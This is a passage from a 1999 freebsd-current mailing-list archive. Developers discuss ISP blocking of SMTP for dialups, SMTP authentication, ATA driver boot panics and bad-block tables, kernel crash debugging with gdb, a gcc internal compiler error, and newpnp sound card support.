	by hub.freebsd.org (Postfix) with SMTP id 0C89F14D37
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 05:01:50 -0700 (PDT)
	(envelope-from sthaug@nethelp.no)
Received: (qmail 97730 invoked by uid 1001); 26 Sep 1999 12:01:44 +0000 (GMT)
To: brian@Awfulhak.org
Cc: freebsd@gndrsh.dnsmgr.net, nate@mt.sri.com,
	gary@eyelab.psy.msu.edu, current@FreeBSD.ORG
Subject: Re: On hub.freebsd.org refusing to talk to dialups 
From: sthaug@nethelp.no
In-Reply-To: Your message of "Sun, 26 Sep 1999 11:52:35 +0100"
References: <199909261052.LAA23749@keep.lan.Awfulhak.org>
X-Mailer: Mew version 1.05+ on Emacs 19.34.2
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Date: Sun, 26 Sep 1999 14:01:44 +0200
Message-ID: <97728.938347304@verdi.nethelp.no>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > If _we_ don't start to do something about it, big brother _is_ going
> > to do something about it.  Trust me on this one, being a member of the
> > USPA I know that we are far better off implementing our own (as ISP's)
> > set of safe gaurds that help eliminate certain undesirable behavior.
> [.....]
> 
> I think it's up to the ISP what default policies they have, and I 
> also think that this sort of policy is a good default... but only as 
> long as the ISP allows exceptions.  As a paying subscriber with a 
> clean record I *must* be allowed to ask for a hole through your 
> firewall.

Sure, as long as you can prove your email server is not an open relay.

Steinar Haug, Nethelp consulting, sthaug@nethelp.no


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  7: 2:12 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP id B9D0F15356
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 07:02:08 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id XAA02177; Sun, 26 Sep 1999 23:02:00 +0900 (JST)
Message-ID: <37EE10A5.AB9AA5B7@newsguy.com>
Date: Sun, 26 Sep 1999 21:25:09 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: Bill Paul <wpaul@skynet.ctr.columbia.edu>
Cc: current@FreeBSD.ORG
Subject: Re: Beneath The Planet Of The Mondays
References: <199909251752.NAA11233@skynet.ctr.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Bill Paul wrote:
> 
> I realize this is -current and all and mistakes happen, but make
> release basically constitutes a 'full build' of FreeBSD and if it
> doesn't work, especially for a whole week, it looks kinda bad.

Does it? I thought -current wasn't supposed to work at all, except
by accident, and anyone actually using a functional current ought to
say their prayers before login in.

> Unfortunately, when the snapshots on current.freebsd.org fall over,
> nobody knows exactly what causes the problem except Jordan, and he
> keeps gnawing through his limbs to excape the traps I set for him.

Yeah, that he does. :-)

> When somebody breaks the build at M$, the offender is made to wear
> a viking hat. I would suggest a similar punishment for those who
> break our own build, except that I suspect many of you are wearing
> viking hats already.

Alas, I think it would be a bad idea. Some people my interpret this
as "gets to wear a viking hat", ie, in a positive way. :-)

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it do unto yours



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  8:14:45 1999
Delivered-To: freebsd-current@freebsd.org
Received: from supra.rotterdam.luna.net (supra.rotterdam.luna.net [194.151.24.24])
	by hub.freebsd.org (Postfix) with ESMTP id CE5A314C30
	for <current@freebsd.org>; Sun, 26 Sep 1999 08:14:36 -0700 (PDT)
	(envelope-from stephanb@luna.nl)
Received: (from stephanb@localhost)
	by supra.rotterdam.luna.net (•8.8.8/tcpwrp+ismx/8.8.8/chk+tcpwrpr) id RAA13623
	for current@freebsd.org; Sun, 26 Sep 1999 17:14:35 +0200 (CEST)
Date: Sun, 26 Sep 1999 17:14:35 +0200
From: Stephan van Beerschoten <stephanb@luna.nl>
To: current@freebsd.org
Subject: Signal 6
Message-ID: <19990926171435.B13478@supra.rotterdam.luna.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.6i
Organization: Luna Internet Services http://www.luna.nl
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

When making /usr/ports/x11/gnome, the compiler fails with the following:

obgtkObject.m: In function `obgtk_signal_relay':
obgtkObject.m:133: Could not find a spill register
(insn:HI 564 562 565 (set (mem:DF (reg:SI 0 %eax))
        (subreg:DF (reg:SI 128) 0)) 77 {movdf_mem+1} (insn_list 562 (nil))
    (expr_list:REG_DEAD (reg:SI 0 %eax)
        (nil)))
gcc: Internal compiler error: program cc1obj got fatal signal 6
*** Error code 1

This is reproducable simply by changing to the directory and executing the
gcc line.
I'd like to know if this is -current related (gcc), or -ports related (gnome).

Has anyone else experienced this ?

-Steve


-- 
Stephan van Beerschoten            Email: stephanb@luna.nl 
Network Engineer                   Luna Internet Services www.luna.nl
                                   PO Box 28013 3003 KA  Rotterdam NL
PGPKey fingerprint = 45 57 97 61 B2 12 FB 4C  77 8D 35 29 C4 2A 2D 27
 "RETURN VALUES: The panic() function call does not return" :P


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  8:57:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP id 8C9C1150FB
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 08:57:34 -0700 (PDT)
	(envelope-from bde@zeta.org.au)
Received: from d197.syd2.zeta.org.au (beefcake.zeta.org.au [203.26.10.12])
	by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id BAA20884;
	Mon, 27 Sep 1999 01:57:57 +1000
Date: Mon, 27 Sep 1999 01:57:18 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-Sender: bde@alphplex.bde.org
To: Cejka Rudolf <cejkar@dcse.fee.vutbr.cz>
Cc: current@FreeBSD.ORG
Subject: Re: Boot problems with new -current
In-Reply-To: <19990926121308.A1826@dcse.fee.vutbr.cz>
Message-ID: <Pine.BSF.4.10.9909270144580.5215-100000@alphplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, 26 Sep 1999, Cejka Rudolf wrote:

> Ok: Just run "disklabel -r -e ad0", clear word "badsect"
> in "Flags:" line and booting of new kernels is back...

I think phk set to switch back to the wd driver to run disklabel, but
that shouldn't be necessary -- a new label can certainly be written
using the ad driver, so something would have to be broken for an old
or broken label not to be modifiable.

> Soren Schmidt wrote (1999/09/25):
> 
> > The ATA driver has no bad144 support, thats probably why you get
> > the above message. The reason is that modern ATA disks does internal
> > bad block remapping (just as SCSI), and if you have used up all
> > the spares you better swap that disk for another one, its going
> > bad on you no matter what...
> 
> But in earlier versions ATA driver worked for me. Does this mean that

That was because earlier versions of the ad driver were too broken to
handle the bad block table properly.  They silently ignored the error
of having one, and would probably have corrupted your data if the
table was non-null.  Your table seems to have been null, so there were
no problems.

> flag "badsect" was silently ignored and now it have an effect on
> a panic? Isn't a big warning message sufficient instead of a panic?

It's just an error.  IIRC, the panic was because your root file system
became inaccessible.

Bruce



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  9:12:11 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id 975FB15286
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 09:11:25 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id JAA09918;
	Sun, 26 Sep 1999 09:10:46 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909261610.JAA09918@gndrsh.dnsmgr.net>
Subject: Re: Boot problems with new -current
In-Reply-To: <199909261018.MAA65917@freebsd.dk> from Soren Schmidt at "Sep 26, 1999 12:18:17 pm"
To: sos@freebsd.dk (Soren Schmidt)
Date: Sun, 26 Sep 1999 09:10:46 -0700 (PDT)
Cc: cejkar@dcse.fee.vutbr.cz (Cejka Rudolf), current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

[Charset ISO-8859-1 unsupported, filtering to ASCII...]
> It seems Cejka Rudolf wrote:
> > I think internal bad block remapping is long time here. But
> > in the middle of 1996 I have bought a new Western Digital disk 
> > with some bad sectors and it runs without any problems till today
> > (and without any new bad sectors - I have tried new disk format
> > some time ago). Does this mean that I should in such cases make
> > a complaint in a store if I want to use new ATA driver?
> 
> Hmm, a modern ATA disk should have NO defects, if it has it is
> to be replaced immediately under warranty, if they refuse,
> dont buy anything from that vendor again :)

This happens to also be a Wester Digital drive, so I would first
go down load they latest version of ``wddiag.exe'' and run it.
It will make attempts to recover the data on the bad sectors,
and remap them.  Once it is done it will give you an ``final code''.
Given the other facts stated above, like the drive has grown
no errors in years, wddiag will probably just remap a couple
of sectors for you and your drive will be ``defect free'' again
and you can forget all about bad144.

Depending on the value of the final code you can file a warranty
claim on line via the www, though presently it is taking about
2 to 4 weeks for them to get your drive back.

Also, since you stated the drive is from the middle of 1996
your 3 year warranty may be over :-(.  


-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  9:18:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from assurance.rstcorp.com (assurance.rstcorp.com [216.112.242.2])
	by hub.freebsd.org (Postfix) with ESMTP id 3D01414C95
	for <freebsd-current@freebsd.org>; Sun, 26 Sep 1999 09:18:53 -0700 (PDT)
	(envelope-from vshah@rstcorp.com)
Received: (from uucp@localhost)
	by assurance.rstcorp.com (8.8.8/8.8.8) id MAA28513
	for <freebsd-current@freebsd.org>; Sun, 26 Sep 1999 12:19:24 -0400
Received: from proxy.rstcorp.com(216.112.242.5) by assurance.rstcorp.com via smap (V2.0)
	id xma028511; Sun, 26 Sep 99 16:19:20 GMT
Received: from jabberwock.rstcorp.com (jabberwock.rstcorp.com [192.168.2.98])
	by sandbox.rstcorp.com (8.8.8/8.8.8) with ESMTP id MAA06380
	for <freebsd-current@freebsd.org>; Sun, 26 Sep 1999 12:17:59 -0400 (EDT)
Received: (from vshah@localhost)
	by jabberwock.rstcorp.com (8.9.3/8.9.3) id MAA00974;
	Sun, 26 Sep 1999 12:18:48 -0400 (EDT)
	(envelope-from vshah@rstcorp.com)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14318.18280.328557.304232@jabberwock.rstcorp.com>
Date: Sun, 26 Sep 1999 12:18:48 -0400 (EDT)
From: "Viren R. Shah" <viren@rstcorp.com>
To: freebsd-current@freebsd.org
Subject: ata driver question..
X-Mailer: VM 6.72 under 19.16 "Lille" XEmacs Lucid
Reply-To: "Viren R. Shah" <viren@rstcorp.com>
X-Face: )~y+U*K:yzjz{q<5lzpI_SVef'U.])9g[C9`1N@]u3,MHY7f*l7C)[_NjM4y4K8$uIUh|\u
 (K&&HS6,M!61&GMTk'mqmB/Qg]]X}"?TzsFl]"2v!bl8']dma.:^IY^a[lbOI>U:b<~FyK3q-p{HmZ
 mn~g.`~BE!5{2D:}Yi+\_KkWe?XaHj9$ko1k8iKLYv5*_2c8"G=?Up[}hn+7RNM(bzBZ_wWk6!Pf&B
 ?3Tcm7M7B~W%K/I0aX3]*=jP?aM]H6HBPT`oLk+0n^_;N\2\%|Rhy;p}34Q.jEsM\qtnxcm;ag%Nq
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


I made world and build a new kernel on Friday the 24th, and later that
evening, I got these:

Sep 24 18:00:33 jabberwock /kernel: ata0-master: ad_timeout: lost disk contact - resetting
Sep 24 18:00:33 jabberwock /kernel: ata0: resetting devices .. done




Today morning, I found my machine "hung" (couldn't kill old processes,
couldn't start new ones). 

Any ideas?


Here's the kernel config:

#
#
# For more information read the handbook part System Administration -> 
# Configuring the FreeBSD Kernel -> The Configuration File. 
# The handbook is available in /usr/share/doc/handbook or online as
# latest version from the FreeBSD World Wide Web server 
# <URL:http://www.FreeBSD.ORG/>
#
# An exhaustive list of options and more detailed explanations of the 
# device lines is present in the ./LINT configuration file. If you are 
# in doubt as to the purpose or necessity of a line, check first in LINT.
#
#	$Id: GENERIC,v 1.118 1998/09/18 00:46:40 mjacob Exp $

machine		"i386"
cpu		"I686_CPU"
ident		"J38"
maxusers	128

options		INET			#InterNETworking
options		FFS			#Berkeley Fast Filesystem
options		FFS_ROOT		#FFS usable as root device [keep this!]
options		"COMPAT_43"		#Compatible with BSD 4.3 [KEEP THIS!]
options		UCONSOLE		#Allow users to grab the console


# Allow the FFS to use Softupdates technology.
# To do this you need to copy the two files
# /sys/ufs/ffs/softdep.h and /sys/ufs/ffs/ffs_softdep.c
# from /usr/src/contrib/sys/softupdates
# and understand the licensing restrictions.
# You should also check on the FreeBSD website for newer versions.
options                SOFTUPDATES

controller	isa0
controller	pci0

controller	fdc0	at isa? port "IO_FD1"  irq 6 drq 2 
disk		fd0	at fdc0 drive 0

controller	ata0
device		atadisk0	# ATA disk drives
device		atapicd0	# ATAPI CDROM drives
#device		atapifd0	# ATAPI floppy drives
#device		atapist0	# ATAPI tape drives


controller	ahc0


device		pass0
controller	scbus0

device		da0

# atkbdc0 controls both the keyboard and the PS/2 mouse
controller     atkbdc0 at isa? port IO_KBD
device         atkbd0  at atkbdc?  irq 1
device         psm0    at atkbdc?  irq 12

device          vga0    at isa? port ? conflicts
device          sc0     at isa? 

device         npx0    at nexus? port IO_NPX irq 13


device		sio0	at isa? port "IO_COM1" flags 0x10  irq 4 





pseudo-device	loop
pseudo-device	ether
pseudo-device	pty		48
pseudo-device	bpf		2	#Berkeley packet filter
#pseudo-device   splash

# KTRACE enables the system-call tracing facility ktrace(2).
# This adds 4 KB bloat to your kernel, and slightly increases
# the costs of each syscall.
options		KTRACE		#kernel tracing

# This provides support for System V shared memory.
#
options		SYSVSHM
options		SYSVSEM
options		SYSVMSG

# sound card stuff

controller pnp0

#device pcm0 at nexus ? port?  irq 5 drq 1 
device pcm0  

options         USER_LDT                #allow user-level control of i386 ldt

options         P1003_1B
options         _KPOSIX_PRIORITY_SCHEDULING
options         _KPOSIX_VERSION=199309L




-- 
Viren Shah          | IF YOU CAN'T BE GOOD, BE LOUD.
viren@rstcorp.com   |  -- Frank Hill
RST, Inc            |


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  9:29:24 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebsd.dk (freebsd.dk [212.242.42.178])
	by hub.freebsd.org (Postfix) with ESMTP id 7942914C95
	for <freebsd-current@FreeBSD.ORG>; Sun, 26 Sep 1999 09:29:21 -0700 (PDT)
	(envelope-from sos@freebsd.dk)
Received: (from sos@localhost)
	by freebsd.dk (8.9.3/8.9.1) id SAA06885;
	Sun, 26 Sep 1999 18:29:09 +0200 (CEST)
	(envelope-from sos)
From: Soren Schmidt <sos@freebsd.dk>
Message-Id: <199909261629.SAA06885@freebsd.dk>
Subject: Re: ata driver question..
In-Reply-To: <14318.18280.328557.304232@jabberwock.rstcorp.com> from "Viren R. Shah" at "Sep 26, 1999 12:18:48 pm"
To: viren@rstcorp.com (Viren R. Shah)
Date: Sun, 26 Sep 1999 18:29:09 +0200 (CEST)
Cc: freebsd-current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

It seems Viren R. Shah wrote:
> 
> I made world and build a new kernel on Friday the 24th, and later that
> evening, I got these:
> 
> Sep 24 18:00:33 jabberwock /kernel: ata0-master: ad_timeout: lost disk contact - resetting
> Sep 24 18:00:33 jabberwock /kernel: ata0: resetting devices .. done

Be sure you have the latest, I fixed a couble of bugs in the timeout
code on friday, you shoudl have versions:

   Repository revision: 1.22    /home/ncvs/src/sys/dev/ata/ata-all.c,v
   Repository revision: 1.11    /home/ncvs/src/sys/dev/ata/ata-all.h,v
   Repository revision: 1.28    /home/ncvs/src/sys/dev/ata/ata-disk.c,v
   Repository revision: 1.12    /home/ncvs/src/sys/dev/ata/ata-disk.h,v
   Repository revision: 1.13    /home/ncvs/src/sys/dev/ata/ata-dma.c,v
   Repository revision: 1.16    /home/ncvs/src/sys/dev/ata/atapi-all.c,v
   Repository revision: 1.11    /home/ncvs/src/sys/dev/ata/atapi-all.h,v
   Repository revision: 1.19    /home/ncvs/src/sys/dev/ata/atapi-cd.c,v
   Repository revision: 1.7     /home/ncvs/src/sys/dev/ata/atapi-cd.h,v
   Repository revision: 1.19    /home/ncvs/src/sys/dev/ata/atapi-fd.c,v
   Repository revision: 1.5     /home/ncvs/src/sys/dev/ata/atapi-fd.h,v
   Repository revision: 1.17    /home/ncvs/src/sys/dev/ata/atapi-tape.c,v
   Repository revision: 1.7     /home/ncvs/src/sys/dev/ata/atapi-tape.h,v

-Søren


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  9:32:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id 985BA14CA1; Sun, 26 Sep 1999 09:32:19 -0700 (PDT)
	(envelope-from dillon@apollo.backplane.com)
Received: (from dillon@localhost)
	by apollo.backplane.com (8.9.3/8.9.1) id JAA66523;
	Sun, 26 Sep 1999 09:32:19 -0700 (PDT)
	(envelope-from dillon)
Date: Sun, 26 Sep 1999 09:32:19 -0700 (PDT)
From: Matthew Dillon <dillon@apollo.backplane.com>
Message-Id: <199909261632.JAA66523@apollo.backplane.com>
To: Mike Pritchard <mpp@FreeBSD.ORG>
Cc: current@FreeBSD.ORG
Subject: Re: -current panic w/linux netscape
References:  <199909261056.FAA00403@mpp.pro-ns.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

:I finally saw my first -current panic in more than 5 months (not a bad
:track record).
:
:I have a panic that I can duplicate with a 24 hour old "make world"
:and a 4 hour old -current kernel.  If I run the linux netscape (installed
:from ports less than a week ago), the kernel panics in copystr().
:Minimal gdb output follows.  I'll have to generate a kernel with
:debug info for more information.
:
:The linux netscape worked fine with my old kernel from 9/16.
:I'm willing to try and track this down, but I hope someone
:will pop up and have an idea what is wrong.
:
:-Mike

    Compile your kernel with debugging.  In the kernel configuration file
    in /usr/src/sys/i386/conf/YOURCONFIGFILE, add:

	makeoptions     DEBUG="-g"

    Then config the kernel and rebuild.

    When you make install, the non-debug version will be installed and the
    debug version will be sitting in the compile directory as 'kernel.debug'.

    Then reboot, then cause the crash again and get another core (be sure
    to clear out space from /var/crash if necessary).

    Now bring the system up again, and use this for your gdb:

	cd /var/crash
	gdb -k /usr/src/sys/compile/YOURCONFIGNAME/kernel.debug vmcore.XX

    And do the 'back' again to get the stack backtrace.  You should see a
    whole lot more information.

						-Matt



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  9:42:51 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id 1B49C14D9F
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 09:42:46 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id JAA09965;
	Sun, 26 Sep 1999 09:41:05 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909261641.JAA09965@gndrsh.dnsmgr.net>
Subject: Re: On hub.freebsd.org refusing to talk to dialups
In-Reply-To: <97728.938347304@verdi.nethelp.no> from "sthaug@nethelp.no" at "Sep 26, 1999 02:01:44 pm"
To: sthaug@nethelp.no
Date: Sun, 26 Sep 1999 09:41:05 -0700 (PDT)
Cc: brian@Awfulhak.org, nate@mt.sri.com, gary@eyelab.psy.msu.edu,
	current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > > If _we_ don't start to do something about it, big brother _is_ going
> > > to do something about it.  Trust me on this one, being a member of the
> > > USPA I know that we are far better off implementing our own (as ISP's)
> > > set of safe gaurds that help eliminate certain undesirable behavior.
> > [.....]
> > 
> > I think it's up to the ISP what default policies they have, and I 
> > also think that this sort of policy is a good default... but only as 
> > long as the ISP allows exceptions.  As a paying subscriber with a 
> > clean record I *must* be allowed to ask for a hole through your 
> > firewall.
> 
> Sure, as long as you can prove your email server is not an open relay.

We do not even require proof of that.  Or should I say the proof that
you will continue to have a ``clean record'' is that your services
will be terminated if you don't keep it clean, and the balance on
your current contract is still owed us.  It is written as an early
termination clause without relief from finacial burden, you can
find them in most ``leases'' of any reasonable duration.

One of the bigger problems we faced was new customers who wanted the
wavier right up front, we had no track history on them, so no ``clean
record'' existed.  We decided that reasonable finacial burden would
at least keep the honest folks honest and give us a legal axe to
swing at the bad boys with.  It's much easier to file a claim for
breach of contract due to non-payment than it is for violation of
an AUP or ``spamming'' :-)

It has been effective, we had a known spammer approach us for
connectivity, who we knew had already been terminated by another
ISP for spamming.  We explained our policy to him and
he said, nope, no thanks I don't want to buy anything from you.

This, IMHO, is going to be about the only way there is to put
these folks out of the business.  Our at least get them to
look at a more proper bulk email model.

-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10: 1:17 1999
Delivered-To: freebsd-current@freebsd.org
Received: from noop.colo.erols.net (noop.colo.erols.net [207.96.1.150])
	by hub.freebsd.org (Postfix) with ESMTP id 9075614BE4
	for <current@freebsd.org>; Sun, 26 Sep 1999 10:01:15 -0700 (PDT)
	(envelope-from gjp@noop.colo.erols.net)
Received: from localhost ([127.0.0.1] helo=noop.colo.erols.net)
	by noop.colo.erols.net with esmtp (Exim 2.12 #1)
	id 11VHg3-000GdN-00; Sun, 26 Sep 1999 13:01:31 -0400
To: Brian Somers <brian@Awfulhak.org>
Cc: current@FreeBSD.ORG
From: "Gary Palmer" <gjp@in-addr.com>
Subject: Re: On hub.freebsd.org refusing to talk to dialups 
In-reply-to: Your message of "Sun, 26 Sep 1999 12:12:00 BST."
             <199909261112.MAA23799@keep.lan.Awfulhak.org> 
Date: Sun, 26 Sep 1999 13:01:25 -0400
Message-ID: <63944.938365285@noop.colo.erols.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Brian Somers wrote in message ID
<199909261112.MAA23799@keep.lan.Awfulhak.org>:
> > I have some experience (from anti-spam mailing lists) of ISP's who
> > are quite prepared to open port 25 for customers who ask. This is
> > very good; SMTP has no authentication at all, and it is this
> > "free-for-all" feature that spammers abuse. However - with a view
> [.....]
> 
> I belive sendmail-8.10 will have smtp authentication built in.  
> There's an rfc too (2554) but I can't say that they're the same thing 
> for sure.

There are two `standards' from SMTP Auth out there ... one by Netscape
(which is that rfc), and one by M$.  To date, only Netscape 4.5 and
higher (I believe), and products from Software.com (i.e. InterMail)
support the netscape version (although I haven't looked in a few
months, so I could be wrong).  M$ Exchange and Outlook and so on
support the M$ version of SMTP Auth, although I've been told that the
two use different commands so (in theory) you can support both on the
same box, althgouh I don't know of anyone planning or doing that.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10: 6: 2 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 98BE014E70
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 10:05:42 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id NAA04685;
	Sun, 26 Sep 1999 13:05:41 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id NAA00634;
	Sun, 26 Sep 1999 13:05:46 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 13:05:46 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Ollivier Robert <roberto@keltia.freenix.fr>
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Message-ID: <19990926130546.A548@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926034143.A510@dmaddox.conterra.com> <19990926125858.A18948@keltia.freenix.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <19990926125858.A18948@keltia.freenix.fr>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

The whole point is that I want to be able to use the wavetable
synthesis features of the card.  Newpcm (or oldpcm, for that matter)
provides NO support for the AWE device whatsoever, as you can see
from your dmesg below.

It makes little sense to me that PnP functionality should be tied
down to a particular audio driver.  Obviously, the newpnp code is
not as versatile as the oldpnp code was, because the oldpnp code
worked with my card regardless of whether I used snd or pcm.

I'm just suggesting here that it would be nice if the authors of
this code would make it _equally functional_ to what was removed.
It's not nice to remove functionality unconditionally and then
provide no replacement at all...


On Sun, Sep 26, 1999 at 12:58:58PM +0200, Ollivier Robert wrote:
>
> Can you try to new newpcm ?
> 
> controller pnp0
> device pcm0
> 
> > The first 2 lines have always been unnecessary, but harmless; however, the
> > 3rd line is _absolutely necessary_ to get the AWE to probe.
> 
> The above works for my AWE64.
> 
> pcm0: <SB16 PnP> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
> unknown0: <Game> at port 0x200-0x207 on isa0
> unknown1: <WaveTable> at port 0x620-0x623 on isa0
> 
> FreeBSD Audio Driver (newpcm) Sep  9 1999 00:19:32
> Installed devices:
> pcm0: <SoundBlaster 16 4.16> at io 0x220 irq 5 drq 1:5 (1/1 channels duplex)
> 
> -- 
> Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr
> FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep  9 00:20:51 CEST 1999
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10: 6:34 1999
Delivered-To: freebsd-current@freebsd.org
Received: from noop.colo.erols.net (noop.colo.erols.net [207.96.1.150])
	by hub.freebsd.org (Postfix) with ESMTP id 242481523A
	for <current@freebsd.org>; Sun, 26 Sep 1999 10:06:32 -0700 (PDT)
	(envelope-from gjp@noop.colo.erols.net)
Received: from localhost ([127.0.0.1] helo=noop.colo.erols.net)
	by noop.colo.erols.net with esmtp (Exim 2.12 #1)
	id 11VHll-000Ge0-00; Sun, 26 Sep 1999 13:07:25 -0400
To: Brian Somers <brian@Awfulhak.org>
Cc: current@FreeBSD.ORG
From: "Gary Palmer" <gjp@in-addr.com>
Subject: Re: On hub.freebsd.org refusing to talk to dialups 
In-reply-to: Your message of "Sun, 26 Sep 1999 11:52:35 BST."
             <199909261052.LAA23749@keep.lan.Awfulhak.org> 
Date: Sun, 26 Sep 1999 13:07:25 -0400
Message-ID: <63983.938365645@noop.colo.erols.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Brian Somers wrote in message ID
<199909261052.LAA23749@keep.lan.Awfulhak.org>:
> I think it's up to the ISP what default policies they have, and I 
> also think that this sort of policy is a good default... but only as 
